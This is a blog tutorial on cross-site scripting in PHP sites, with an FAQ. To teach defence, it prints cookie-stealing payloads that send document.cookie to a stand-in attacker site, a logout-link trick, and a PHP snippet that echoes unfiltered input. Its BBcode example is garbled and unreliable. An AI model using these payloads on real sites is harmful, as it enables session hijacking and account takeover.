Cross Site Scripting Could Make You Lose Your Cookies

Thomas Rutter
Thomas Rutter
Share

Cross Site Scripting (XSS) is a form of security exploit that threatens any web application. Its severity is often underestimated. The problems go far beyond annoyances and practical jokes. By stealing your cookies, Cross Site Scripting attacks can allow attackers to gain administrative access to your CMS.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering it. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain all sorts of nasties that need to be filtered out if they are to be displayed in a Webpage. These may be either relatively harmless – for example, practical jokes – or malicious – code that is intended to gain private information in order to break into your system. Typically these ‘nasties’ are scripts – hence the name ‘Cross Site Scripting’.

Relatively harmless uses of Cross Site Scripting:

  • HTML code intended to disrupt the layout or appearance of a Webpage.
  • Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.

Some more harmful uses of Cross Site Scripting:

  • Misleading hyperlinks which link to URLs that would cause action to occur, ie logging out a user, making a post, or changing a password.
  • Scripts or “javascript:” hyperlinks designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
  • Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life Cycle of a Cross Site Scripting Exploit

I find that Cross Site Scripting can be a difficult concept to picture. I’ll lead you through a typical Cross Site Scripting scenario, to gives some examples of what is possible.

Joe has built himself a CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ‘session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:


<script>alert('Hello World');</script>

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a blog comment on Joe’s site:


<a href="/usercp.php?action=logout">A webpage about cats</a>

Now, whenever Joe (or anybody else) clicks the link believing it will take them to a Webpage about cats, he will be logged out of his CMS. It’s very annoying, and puzzles Joe for a long time.

It gets worse. Rick now places the following code into a guestbook entry of Joe’s page:


<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick can change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is <i>session hijacking</i> – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:


<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A Webpage about dogs</a>

If Joe clicked that link, as he probably does often, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as ‘onclick’, ‘onmousemove’ and ‘onsubmit’ – the latter which could be used to modify a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch Those Holes

Below are some steps which you can take to help prevent Cross Site Scripting attacks from being used on your PHP application.

Whenever displaying user-submitted content on your Website, use htmlspecialchars on the data before echoing it. This includes data that comes from a database.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.


if (strlen($_GET['username']) > 12)
{
  exit("Error: {$_GET['username']} is too long.  Your username may be nor more than 12 characters");
}

In this case, the user variable “username” is being sent to the browser unfiltered. A user could construct a URL similar to the following and trick people into clicking it:


http://www.example.com/register.php?username=<script>alert('gotcha');</script>

That JavaScript is harmless, but could be modified to steal information from cookies and transmit it to a third party.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication. In addition to the cookie, users should also be asked for their password when they take certain high-risk actions such as using the ‘administrator’ section of your CMS, or changing their password. So, if your session is hijacked using your session ID, the attacker won’t be able to change your password or seriously damage your website. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

Testing for Cross Site Scripting Vulnerabilities in Your Application

A quick way to test for Cross Site Scripting vulnerabilities is to insert the following code into any user-submitted variable. For example, paste the following code into your blog comment form:


<script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possible embed HTML or JavaScript into a username? What about signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used:

BBcode:


https%3A%2F%2Feditor.sitepoint.com

Wiki markup:


[javascript:alert("Yes");|Are you vulnerable?]

The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, the Wiki we use in-house at SitePoint is vulnerable. If anybody is tricked into clicking a link, any JavaScript in that link will run.

Thankfully, vBulletin does not appear to be vulnerable to javascript: links submitted using the method above.

More information about Cross Site Scripting is available in this CERT Advisory and this document from Apache. The Apache document points out that the name “Cross Site Scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously in this blog, Harry talks about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.

Have a look at this very thorough article by Chris Shiflett on preventing Cross Site Scripting attacks.

Cross Site Scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications, along with the SQL Injection vulnerability which has been discussed before in this blog in relation to magic quotes in PHP.

Frequently Asked Questions about Cross-Site Scripting (XSS)

What is the difference between Stored XSS and Reflected XSS?

Stored XSS, also known as Persistent XSS, occurs when the malicious script is permanently stored on the target server. The server then unknowingly serves the malicious script to users. On the other hand, Reflected XSS happens when a user unknowingly sends a script to a web server, which then sends the script back to the user’s browser where it’s executed. The key difference is that Stored XSS attacks are persistent and affect all users accessing the compromised page, while Reflected XSS attacks are non-persistent and only affect users who open a maliciously crafted link.

How can I protect my website from XSS attacks?

There are several ways to protect your website from XSS attacks. One of the most effective methods is input validation, which involves checking and sanitizing all user inputs to ensure they do not contain any malicious scripts. Another method is output encoding, which ensures that any scripts included in user inputs are not executed. Using HTTP-only cookies can also help to mitigate the risk of XSS attacks by preventing scripts from accessing sensitive cookie data.

What is DOM-based XSS?

DOM-based XSS, or Document Object Model-based XSS, is a type of XSS attack where the vulnerability exists in the client-side script rather than the server-side script. In this type of attack, the malicious script manipulates the web page’s DOM, which represents the structure of the web page, to execute the script in the user’s browser.

How does an XSS attack affect users?

XSS attacks can have serious implications for users. They can lead to theft of sensitive information like login credentials or personal data, manipulation of web content, and even remote control over the user’s interactions with the web application. In some cases, XSS attacks can also be used to spread malware or perform other malicious activities.

What is self-XSS and how can I avoid it?

Self-XSS is a type of XSS attack where the user unknowingly runs a malicious script in their own browser. This often happens when a user is tricked into pasting a malicious script into the browser’s developer console. To avoid self-XSS, never paste anything into the developer console unless you understand what it does. Be wary of anyone asking you to paste code into your console.

What are some practical scenarios where XSS attacks can occur?

XSS attacks can occur in various scenarios. For instance, in a forum where users can post comments, an attacker could post a comment containing a malicious script. When other users view the comment, the script is executed in their browsers. Another scenario could be a search function on a website that reflects user input in search results without proper sanitization, leading to a Reflected XSS attack.

How can I test my website for XSS vulnerabilities?

There are several methods to test for XSS vulnerabilities. One common method is penetration testing, where you attempt to exploit potential vulnerabilities to see if an attack is possible. Automated tools can also be used to scan for common XSS vulnerabilities. However, manual testing is often necessary to identify more complex vulnerabilities.

What is the role of cookies in XSS attacks?

Cookies often store sensitive information such as session tokens or login credentials. In an XSS attack, a malicious script can be used to access and steal this cookie data, allowing the attacker to impersonate the user or gain unauthorized access to their account.

Can XSS attacks be performed on mobile applications?

Yes, XSS attacks can also be performed on mobile applications. Just like web applications, mobile applications can be vulnerable to XSS attacks if they do not properly validate and sanitize user inputs or if they insecurely handle data within the application.

Are there any legal consequences for performing XSS attacks?

Yes, performing XSS attacks is illegal and can lead to serious legal consequences. Unauthorized access to or manipulation of someone else’s data is a violation of privacy laws and can result in criminal charges, fines, or imprisonment.